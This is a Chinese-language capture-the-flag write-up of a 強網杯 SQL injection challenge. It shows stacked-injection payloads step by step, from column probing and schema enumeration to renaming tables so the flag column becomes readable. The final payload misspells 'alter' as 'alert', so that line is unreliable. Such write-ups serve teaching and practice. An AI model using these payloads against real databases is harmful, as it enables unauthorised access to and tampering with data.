每天學習網絡安全知識,本文記錄強網杯的一個SQL注入題。
使用單引号測試,發現頁面報錯,說明此處存在SQL注入漏洞。
1'
1''
既然此處存在漏洞,那麼我們就走正常流程測試下,如果不知道SQL注入正常流程的可以去看下我的sqllibs注入教程。
1.猜字段數
1' order by 3#
1' order by 2#
使用第一個payload測試的時候發現頁面報錯,再使用第二個payload時發現頁面顯示正常,因此我們可以得知當前數據庫當前表存在2個字段。這時候嘗試union select進行聯合查詢。
2.使用聯合查詢
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
發現頁面提示過濾了許多關鍵的命令,看來需要一些騷操作了。
3.嘗試堆疊注入
1';show databases#
發現成功爆出所有數據庫。使用show tables;試試看看能不能得到表名
-1';show tables#
成功爆出當前數據庫的兩個表名;嘗試查詢表中的字段
0';show columns from `1919810931114514`;#
發現有一個flag字段,接下來就是嘗試讀取flag。
4. 再查看words表的結構
0';desc words;#
可以猜測我們提交查詢的窗口就是在這個表裡查詢數據的。
5. 那麼查詢語句很有可能是 : selsect id,data from words where id =
然後1919810931114514隻有一個flag字段這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字這時候我們就可以已下面的騷姿勢進行注入:1.将words表改名為word1或其它任意名字2.1919810931114514改名為words3.将新的word表插入一列,列名為id4.将flag列改名為data
1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#
成功拿到flag。
,